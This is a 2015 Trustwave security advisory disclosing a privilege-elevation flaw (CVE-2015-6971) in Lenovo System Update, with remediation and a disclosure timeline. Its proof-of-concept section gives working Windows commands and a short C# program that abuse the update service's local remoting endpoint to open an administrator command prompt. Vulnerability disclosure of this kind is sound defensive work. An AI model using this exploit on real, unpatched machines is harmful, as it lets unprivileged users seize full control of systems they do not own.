Trustwave SpiderLabs Security Advisory TWSL2015-018:
Service Privilege Elevation in Lenovo System Update 5

Published: 10/15/2015 
Version: 1.0

Vendor: Lenovo (www.lenovo.com)
Product: Lenovo System Update
Version affected:  Versions prior to 5.07.0013 

Product description:
System Update Software by Lenovo

Finding 1: Privilege Elevation Vulnerability
Credit: Martin Rakhmanov of Trustwave 
CVE: CVE-2015-6971

Lenovo System Update prior to 5.07.0013 allows unprivileged local users to
elevate privileges to LocalSystem by submitting commands to the System
Update Service. The service accepts and executes commands coming from
certain signed Lenovo executables only. However these executables can be
launched and executed by unprivileged local users making it possible to
inject arbitrary code into them and bypass security checks that way. One
scenario would be to launch Lenovo Update and Drivers, then using a small
helper application attach to it and inject a DLL. The DLL will send
commands to the System Update Service named pipe for subsequent execution
as LocalSytem.


Proof of concept:

An unprivileged user can run:

"C:\Program Files (x86)\Lenovo\System Update\ConfigService.exe" start
echo test > C:\Users\Public\S.log
"C:\Program Files (x86)\Lenovo\System Update\TvsuCommandLauncher.exe"
/execute uacsdk.exe /arguments "A1 A2 C:\Users\Public\S.log "" """
/directory "C:\Program Files (x86)\Lenovo\System Update" /type COMMAND

At this point System Update GUI should be visible.

Now compile the following small program (copy UNCObject.dll from
C:\Program Files (x86)\Lenovo\System Update\) and run it as the same
unprivileged user:

// csc.exe /r:UNCObject.dll /platform:x86 LSUS_SEPT2015.cs
using System;
using UNCRemoting;

public class LSUS_SEPT2015
{
    public static void Main(String[] args)
    {
        Connector connector = (Connector)
Activator.GetObject(typeof(Connector), "tcp://localhost:20050/Connector");
        connector.DoEvent(UNCAction.LaunchIE, "cmd.exe");
    }
}

Command Prompt window running as Administrator is there now: system is
fully controlled by an unprivileged user.

Please note that IOActive reported a similar issue originally
(CVE-2015-2219) but it was never properly patched and the issue is still
exploitable via the method described above.

Remediation Steps:
Apply the 5.07.0013 update or the latest stable version of the Lenovo
System Update software.  Please note that Trustwave SpiderLabs have not
verified this fix.


Revision History:
05/11/2015 - Vulnerability disclosed to vendor
09/17/2015 - Sent follow-up to vendor about incomplete fixes
10/14/2015 - Vendor releases fix in version 5.07.0013
10/15/2015 - Advisory published

References
1. https://support.lenovo.com/us/en/product_security/lsu_privilege

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